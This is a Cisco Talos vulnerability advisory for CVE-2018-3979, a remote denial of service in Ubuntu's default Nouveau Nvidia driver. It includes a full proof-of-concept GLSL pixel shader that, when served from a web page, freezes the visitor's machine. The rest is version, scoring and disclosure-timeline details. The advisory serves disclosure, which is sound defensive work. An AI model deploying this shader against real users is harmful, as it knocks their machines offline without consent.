Talos Vulnerability Report

TALOS-2018-0647

Nouveau Display Driver Remote Denial of Service

March 26, 2019
CVE Number

CVE-2018-3979

Summary

A remote denial-of-service vulnerability exists in the way the Nouveau display driver (the default Ubuntu Nvidia display driver) handles GPU shader execution. A specially crafted pixel shader can cause remote denial-of-service issues. An attacker can provide a specially crafted website to trigger this vulnerability. This vulnerability can be triggered remotely after the user visits a malformed website. No further user interaction is required.

Tested Versions

Ubuntu 18.04 LTS (linux 4.15.0-29-generic x86_64), Nouveau Display Driver NV117 (vermagic: 4.15.0-29-generic SMP mod_unload)

Product URLs

https://nouveau.freedesktop.org/wiki/ http://ubuntu.com

CVSSv3 Score

7.4 - AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H

CWE

CWE-400: Uncontrolled Resource Consumption

Details

This vulnerability can be triggered by a user visiting a specifically crafted website. Such an attack can render the entire machine frozen until the machine reboots (in most cases a manual machine reboot is required). We were able to launch this attack remotely using popular browsers on the client’s end, such as Google Chrome and Mozilla Firefox.

Nouveau is a free and open-source graphics device driver for Nvidia video cards and the Tegra family of systems on a chip written by independent software engineers with minor help from Nvidia employees. The project’s goal is to create an open-source driver by reverse engineering Nvidia’s proprietary Linux drivers. It is managed by the X.Org Foundation, hosted by freedesktop.org, and is distributed as part of Mesa 3D. Since the Ubuntu 10.04 LTS (Lucid Lynx), Ubuntu decided to switch the Nvidia graphics driver to Nouveau by default [1].

The following shader is triggering the denial-of-service vulnerability on an Ubuntu machine:

#ifdef GL_ES
precision mediump float;
#endif

uniform float time;

#define LINEAR_INTERPOLATION

vec3 func4(float index) {
    index = mod(index * index, 250.0);
    vec3 xout = vec3(index, index, index);
    return xout;
    
}
 
float func3(vec3 position) {
    
    vec3 var_1 = floor(position);
 
    float var_dummy[8];
    for (float z=0.0; z<2.0; z++) {
        for (float y=0.0; y<2.0; y++) {
            for (float x=0.0; x<2.0; x++) {
                vec3 var_pos = var_1 + vec3(x, y, z);
                vec3 var_vector = func4(var_pos.x);
                var_dummy[int((z*4.0) + (y*2.0) + x)] = dot(var_vector, var_vector);
            }
        }
    }
    
    return var_dummy[0];
}


const float var_2 = 0.24;

float func2(float var_2) {
  if (time < 1.0) return var_2;
  else return -1.0;
}


void main() {
  float t = func2(var_2);
  vec4 color;

  if (t == -1.0) {
      vec3 noisePoint = vec3(time*0.01, time*0.2, time*0.3); 
      vec4 color = vec4(0.1, 0.1, 0.1, 1.0);
      color.rgb *= 1.0 - func3(noisePoint);
      gl_FragColor = color;
      return ;
  }
  gl_FragColor = color;

The analysis of this bug mostly relies on assumptions since there is no kernel crash (crash dump information) to investigate. The Ubuntu graphics interface just freezes. We assume that the GPU shader is consuming too many resources and eventually renders the machine unusable. At this point, a watchdog mechanism should step in, but for some unknown reason, it doesn’t. The same vulnerability does not trigger on other systems (for example Windows) and even on Ubuntu Linux itself. Proprietary Nvidia drivers are not vulnerable to this attack.

Timeline

2018-08-03 - Vendor Disclosure
2018-09-26 - 2nd Vendor follow up
2018-09-28 - Vendor acknowledged; Copy of report emailed to point of contact assigned
2018-10-11 - 3rd copy of report sent; vendor claimed issues with receiving file via email
2018-10-15 - 4th copy of report sent
2018-11-05 - Vendor advised report under review
2018-12-10 - Vendor advised “issues are known already”
2019-01-10 - 90+ day follow up (125 days)
2019-03-26 - Public Release

Credit

Discovered by Piotr Bania of Cisco Talos.